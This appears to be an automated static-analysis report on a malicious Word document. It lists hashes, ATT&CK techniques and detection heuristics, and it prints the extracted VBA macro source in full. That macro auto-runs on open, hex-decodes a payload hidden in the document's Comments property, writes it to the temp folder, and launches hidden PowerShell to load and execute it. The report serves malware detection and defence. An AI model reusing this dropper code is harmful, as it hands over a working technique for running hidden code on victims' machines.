Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1fd861db97c66b27…

MALICIOUS

Office (OOXML)

158.9 KB Created: 2021-07-27 11:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-24
MD5: 47cbf19af54979b0b8461e8ce2e832ee SHA-1: 50f10ab1cac45c9c6da93c027557046a1d1984c0 SHA-256: 1fd861db97c66b27620108c8227cb09225b6ee70818e73ecb659c317ff005b64
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with a Document_Open auto-execution subroutine. This macro utilizes WScript.Shell to execute a PowerShell command. The PowerShell command loads a file from the temporary directory, which is populated by the VBA macro with decoded content from the document's 'Comments' property. This indicates a downloader or dropper functionality.

Heuristics 10

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1541 bytes
SHA-256: 6e3512fe33060d489d5dccd2a1c98fa838f43a33ca8a93771b30dc067279225f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Submit, 0, 0, MSForms, CommandButton"
Sub Document_Open()
     Call Mycolor
End Sub


Private Sub Submit_Click()
With ActiveDocument.Tables(1).Cell(1, 1).Range
.Text = "Phone Number Not Found"

End With

End Sub

Attribute VB_Name = "Module1"
Private Function abc(ByVal he As String) As Byte()
    Dim n As Long
    Dim ic As Long
    Dim bArr() As Byte
    ic = Len(he)
    If (ic And 1) = 1 Then
        he = "0" & he
        ic = ic + 1
    End If
    
    ReDim bArr(ic \ 2 - 1)
    For n = 1 To ic Step 2
        
        bArr((n - 1) \ 2) = CByte("&H" & Mid$(he, n, 2))
    Next
    
    abc = bArr
End Function



Sub Mycolor()

Dim prop As DocumentProperty
    For Each prop In ActiveDocument.BuiltInDocumentProperties
        If prop.Name = "Comments" Then
            s = prop.Value
        End If
    Next
fnum = FreeFile
FName = Environ("TMP") & "\skfk.txt"
Open FName For Binary As #fnum
        Put #fnum, , abc(CStr(s))
    
Close #fnum


fr = "'" & Environ("TMP") & "\skfk.txt" & "'"
Result = "Powershell [Reflection.Assembly]::LoadFile(" & fr & ");$doo = New-Object Tysdf.Class1;$doo.sadkj()"
CreateObject("WScript.Shell").Run Result, 0, True


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24064 bytes
SHA-256: 938ad7fdcde730f6e3f9b0dac0274244699bbb5b5512f8dfaa0d298c0baf7f8a

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